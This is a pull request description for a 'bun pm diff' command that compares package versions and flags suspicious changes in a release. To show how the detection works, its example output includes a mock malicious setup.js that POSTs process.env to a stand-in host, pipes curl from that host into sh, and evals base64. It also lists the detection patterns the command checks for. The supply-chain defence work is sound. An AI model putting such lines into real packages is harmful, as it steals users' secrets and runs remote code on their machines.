Add `bun pm diff`

Merged
JA
3mo ago
+6395-123

bun pm diff shows what changed between two versions of a package — the "what's new before I bun update" and "did this release do something bad" review that today means npm diff or a website. Registry specs, folders and tarballs work on either side, it runs from any folder (in a project or not), and on a terminal it diffs meaning rather than bytes.

$ bun pm diff lodash                       # version in bun.lock → latest
lodash 4.17.20 → 4.18.1
…
trimEnd.js ───────────────────────────────── normalized +2 -3
    8 │- var reTrimEnd = /\s+$/;
   29 │    if (string && (guard || chars === undefined)) {
   32 │-     return string.replace(reTrimEnd, "");
   30 │+     return string.slice(0, trimmedEndIndex(string) + 1);
   31 │    }

trimStart.js ─────────────────────────────── formatting only

lodash 4.17.20 → 4.18.1
21 files  +270 -165  ·  2 new  ·  7 formatting only
$ bun pm diff left-pad-plus@2.3.0 2.3.1
…
setup.js ─────────────────────────────────── new +5
    1 │+ const cp = require("child_process");
    2 │+ const env = JSON.stringify(process.env);
    3 │+ fetch("https://collect.example.test/e", { method: "POST", body: env });
    4 │+ cp.exec("curl -s https://collect.example.test/s | sh");
    5 │+ eval(Buffer.from("Y29uc29sZS5sb2coMSk=", "base64").toString());

left-pad-plus 2.3.0 → 2.3.1
3 files  +9 -2  ·  1 new
  ▲ postinstall script added: node setup.js
  ▲ now imports child_process (index.js)
  ▲ +1 eval() (setup.js)
  ▲ +1 process.env (setup.js)
  ▲ +1 fetch() (setup.js)

Forms

  • bun pm diff react — the version in bun.lock → latest
  • bun pm diff react@18.2.0 19.0.0, react@18.2.0..19.0.0, --diff=react@18.2.0 --diff=react@19.0.0 (npm-compatible)
  • bun pm diff ./folder pkg@2.1.0, bun pm diff ./a.tgz ./b.tgz, bun pm diff ./pkg (published under its name → the folder)
  • bun pm diff inside a package folder — what's published → this folder
  • Works outside a project: PackageManager::init gets a no_project_ok mode (no root file, no workspace scan, normal npmrc/bunfig/env config, nothing written to disk)

Terminal view: decided on meaning, shown as written

For readable .js/.mjs/.cjs/.jsx/.ts/.tsx, both sides are parsed and re-printed in an aggressive canonical form (minify_syntax + DCE, no renaming). That form is only the comparison key; the hunks show the original lines, mapped back through the printer's source map:

  • 1 + 1 vs 2, 'a' vs "a", !0 vs true, a re-wrapped call, a whole-file reformat, or a local renamed consistently (Rollup's utils → utils$1) are not changes (header says N folded; nothing left → formatting only). Every local in the key is renamed in lockstep on both sides; symbols are matched name-free by a use-site profile (properties read off them, call arities, what they're passed to) plus scope structure — a wrong match can only leave noise, never hide a change, since any consistent renaming that prints identically is alpha-equivalence.
  • Readable bundles are where that pays off: axios 1.6.0→1.6.1 dist/node/axios.cjs is +59 −13 (138 folded) — the actual hasStandardBrowserEnv refactor — versus +197 −151 of utils$1 churn with --raw.
  • A comment edit, a changed type annotation, or any control-flow change is a change — in the author's words, comments/JSX/types/names intact. (For a 1:1 pair the differing span must be code the key vouched for; a span that falls on a type annotation or inline comment stays shown.)
  • Unchanged text whose meaning moved — a branch that became unreachable, or dead code that came alive because a constant flipped — is marked ~.
m.js ─────────────────────────────── 2 folded +3 -3
    1 │- // math helpers
    1 │+ // math helpers (v2)
    2 │  const LIMIT = 2;                              ← was `1 + 1`: folded
    3 │  export function clamp(x) {
    4 │-   if (x > LIMIT) return LIMIT; // cap
    4 │+   if (x >= LIMIT) return LIMIT; // cap
    ⋮
    7 │  export const flags = {on: true, s: "ab"};     ← was `{ on: !0, s: 'a' + 'b' }`: folded
    8 │- if (false) {
    8 │+ if (true) {
    9 │~   fetch('https://x.test/never');              ← same text, now live
  • Minified bundles have no readable original, so they're shown un-minified instead (declaration chains, comma statements and object literals split one per line), with the two builds' mangled locals renamed in lockstep (scopes paired by weight, symbols aligned by kind + use count):

    filerawbun pm diff
    lodash lodash.min.js 4.17.20→4.17.21 (the trim ReDoS fix)1 line, 73 KB each way37 lines (source diff: 24)
    preact dist/preact.min.js 10.19.2→10.19.31 line, 11 KB2
    axios dist/esm/axios.min.js 1.6.0→1.6.11 line, 31 KB16
  • Totals and callouts print last, where the terminal leaves you: new install scripts, dependency / main·bin·exports·engines·license changes, now imports child_process|fs|net|http|vm|…, new package imports, +N eval() / new Function() / process.env / fetch(), newly executable files (mode 644 → 755), terminal escape sequences or Trojan-Source bidi controls appearing in a release, new binaries. *.map files are summarised.

  • Nothing from a package can drive the terminal: C0/C1 controls, ESC and bidi overrides in contents, paths and notes are drawn as ␛ / ^M / ‹U+202E›.

  • Piped output stays a byte-exact unified patch (\ No newline at end of file, git-style mode lines included).

Narrowing to files

name@1.2.3:path on a spec, a bare :path argument, or extra arguments after the two sides. A path matches a file exactly, a directory, a bare file name anywhere in the package, or a glob; nothing matching is an error.

bun pm diff axios@1.6.0:lib/adapters 1.6.1
bun pm diff axios@1.6.0 axios@1.6.1 dist/node/axios.cjs
bun pm diff lodash :trimEnd.js
bun pm diff react-dom@18.2.0 18.3.1 '*.min.js'

Flags

--stat, --name-only, -U n, --json (from/to, per-file status/counts/patch, notes, totals), --raw/--unformatted (bytes as-is), --minify (fold syntax in the un-minified view too), --unminify (lockstep renaming in every JS file), -w (whitespace-only files collapse in the terminal view).

Speed (release build, darwin-arm64, warm network)

react-dom@18.2.0 → 18.3.1 (4 × 130 KB minified bundles, full un-minify): 0.70 s wall / 0.30 s CPU · lodash: 0.22 s · typescript@5.4.5 → 5.5.4 --stat (60 MB of JS): 2.7 s.

Safety

  • The registry Authorization header is only sent to the scope's own origin, so a manifest-controlled dist.tarball can't receive the token (test: bearer registry pointing a tarball at a foreign host).
  • package.json text in the callouts is inserted after the colour template is rendered, so >=1.3.0 / node <(curl …) print literally.
  • No unsafe, no leaked allocations in the new code (ASAN lane green).

How

Manifest + tarball via AsyncHTTP with the manager's scope/proxy/CA settings; tarballs unpacked in memory with libarchive (new safe NextEntry::entry() / ArchiveIterator::read_entry_data() accessors); line diff with the diff-match-patch port bun test ships; canonical re-print through bun_js_parser/bun_js_printer (transform-only, no DCE) and bun_css; lockfile version lookup reuses Lockfile::load_from_cwd.

Tests

test/cli/install/bun-pm-diff.test.ts (30 tests, all offline via local registries): full patch snapshot, spec spellings, --stat/--name-only/-U/--json, lockfile→latest after a real install, folder↔tarball, no-arg and one-folder naming, terminal layout, formatting-only / two-minifier lockstep / callouts / source maps, --minify/--unminify/-w, CRLF, note escaping, no-newline markers, bad -U, auth-origin, error paths. Docs in docs/pm/cli/pm.mdx.